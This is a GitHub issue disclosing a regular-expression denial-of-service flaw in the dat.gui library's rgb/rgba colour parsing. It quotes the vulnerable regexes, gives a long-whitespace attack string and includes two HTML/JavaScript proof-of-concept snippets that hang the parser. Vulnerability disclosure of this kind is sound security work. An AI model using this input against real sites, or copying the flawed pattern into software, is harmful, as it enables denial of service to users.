dataarts/dat.gui

Regular Expression Denial of Service (ReDoS) in dat.gui

yetingli opened this issue · 0 comments

Type of Issue
Potential Regex Denial of Service (ReDoS)

Description
The vulnerable regular expression is located in

const test = original.match(/^rgb\(\s*(.+)\s*,\s*(.+)\s*,\s*(.+)\s*\)/);

const test = original.match(/^rgba\(\s*(.+)\s*,\s*(.+)\s*,\s*(.+)\s*,\s*(.+)\s*\)/);

The ReDOS vulnerability of the regex is mainly due to the sub-pattern \s*(.+)\s* and can be exploited with the following string
"rgb("+" " * 5000

You can execute the following code to reproduce ReDos

<script type="text/javascript" src="build/dat.gui.js"></script>
<script type="text/javascript">
var gui = new dat.gui.GUI();
var Options = function() {
	this.color0 = "rgb(                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "; // CSS string
};

window.onload = function() {
	var options = new Options();
	gui.addColor(options, 'color0');
};
</script>
<script type="text/javascript" src="build/dat.gui.js"></script>
<script type="text/javascript">
var gui = new dat.gui.GUI();
var Options = function() {
	this.color0 = "rgba(                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "; // CSS string
};

window.onload = function() {
	var options = new Options();
	gui.addColor(options, 'color0');
};
</script>